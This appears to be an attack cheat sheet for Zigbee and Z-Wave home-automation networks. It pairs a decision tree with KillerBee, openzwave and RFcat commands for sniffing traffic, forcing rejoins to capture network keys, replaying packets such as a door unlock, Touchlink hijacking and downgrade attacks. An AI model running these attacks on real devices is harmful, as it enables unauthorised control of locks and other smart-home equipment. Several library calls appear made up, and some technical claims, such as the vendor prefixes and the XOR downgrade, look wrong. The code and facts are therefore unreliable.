Zigbee and Z-Wave Attacks

Zigbee/Z-Wave Target Identified?
  |
  |-- Zigbee
  |     |-- Device joining in progress? --> Capture NWK key (transport key attack)
  |     |-- Known network key? --> Decrypt all traffic
  |     |-- Unknown network key? --> Replay attack or key extraction
  |     |-- Touchlink commissioning? --> Touchlink attack
  |
  |-- Z-Wave
        |-- Known Home ID? --> Z-Wave network enumeration
        |-- Z-Wave Plus device? --> SmartStart attack
        |-- Legacy Z-Wave? --> Downgrade attack

# Using KillerBee framework
git clone https://github.com/riverloopsec/killerbee.git
cd killerbee && pip install .

# Discover Zigbee networks
sudo zbstumbler -C 11

# Capture Zigbee traffic
sudo zbdump -c 11 -w zigbee_capture.pcap

# Or with KillerBee Python API
python3 << 'EOF'
from killerbee import *
kb = KillerBee()
kb.sniffer_channel(11)
for i in range(100):
    pkt = kb.sniffer_next_packet()
    if pkt:
        print(f"Packet: {pkt}")
EOF

# Step 1: Monitor for device joining
sudo zbdump -c 11 -w joining.pcap

# Step 2: Force a device to rejoin (deauthenticate)
# This triggers the transport key exchange
sudo zbreplay -i -c 11 -f deauth.pcap

# Step 3: Extract the network key from the capture
python3 << 'EOF'
from killerbee import *
kb = KillerBee()
kb.set_channel(11)
kb.sniffer_enable()

# Look for APS command with transport key
# The network key is in the "Transport Key" frame (APS command 0x03)
# Decrypt using the default link key: ZigBeeAlliance09
EOF

# Capture Zigbee traffic
sudo zbdump -c 11 -w zigbee_capture.pcap

# Find the packet to replay (e.g., a door unlock command)
# Analyze in Wireshark: filter "zbee_nwk"

# Replay the captured packet
sudo zbreplay -c 11 -f zigbee_capture.pcap

# Or replay a specific packet with modified parameters
sudo zbreplay -c 11 -f specific_command.pcap -d <delay_ms>

# Using KillerBee to extract keys from captures
python3 << 'EOF'
from killerbee import *
from killerbee.zbgpcracker import *

# Crack the network key from a transport key capture
cracker = ZBGPKeyCracker()
cracker.crack_key('joining.pcap', 'ZigBeeAlliance09')

# If the link key is known, decrypt all traffic
kb = KillerBee()
kb.set_channel(11)
kb.set_key(NWK_KEY)
kb.sniffer_enable()
EOF

# Scan for Touchlink-enabled devices
python3 << 'EOF'
from killerbee import *

kb = KillerBee()
# Send Touchlink scan request on all channels
for channel in range(11, 27):
    kb.set_channel(channel)
    kb.send_touchlink_scan()
    # Check for responses
EOF

# If a Touchlink device responds, it can be:
# 1. Reset to factory defaults
# 2. Forced to join an attacker's network
# 3. Made to leave its current network

# Using Z-Wave sniffing tools
# Requires: Z-Wave stick (Z-Stick, Aeotec, etc.)

# Enumerate Z-Wave network
python3 << 'EOF'
from openzwave import ZWaveManager

manager = ZWaveManager('/dev/ttyACM0')
network = manager.get_network()
for node in network.get_nodes():
    print(f"Node {node.id}: {node.product_name} ({node.product_type})")
EOF

# Z-Wave downgrade attack
# 1. Capture Z-Wave traffic from a Z-Wave Plus device
# 2. Modify the protocol version in the packet
# 3. Re-transmit with the downgraded version
# 4. The target device processes the command using legacy encryption

# Using Z-Wave radio tools:
# Requires hardware: Z-Stick + custom firmware

# The attack exploits:
# - Z-Wave protocol version negotiation
# - Legacy devices accept commands in the old format
# - AES-128 is bypassed by downgrading to XOR encryption

# Using RFcat (requires YardStick One or similar CC1111-based radio)
python3 << 'EOF'
from rflib import *

# Initialize RFcat
d = RfCat()

# Set Z-Wave frequency (varies by region)
d.setFreq(868420000)  # EU
# d.setFreq(908420000)  # US

# Set modulation
d.setModem(MOD_ASK)

# Transmit Z-Wave packet
# Z-Wave frames: Preamble + SOF + Length + Payload + CRC
d.RFxmit(b'\x00\x00\x00\x00\x00\x00\x00\x00')  # Placeholder frame
EOF

# Identify device types by their wireless signatures

# Zigbee device fingerprinting
python3 << 'EOF'
from killerbee import *

# Each Zigbee device has:
# - IEEE address (64-bit, assigned by manufacturer)
# - Network address (16-bit, assigned by coordinator)
# - Device type (coordinator, router, end device)
# - Power source (mains, battery)
# - Receive mode (always on, periodically on)

kb = KillerBee()
# List device profiles by IEEE OUI
# Zigbee OUI prefixes:
#   00:12:4B - Digi International
#   00:0D:6F - Ember
#   00:50:C2 - Philips Hue
#   00:15:8A - Telldus
EOF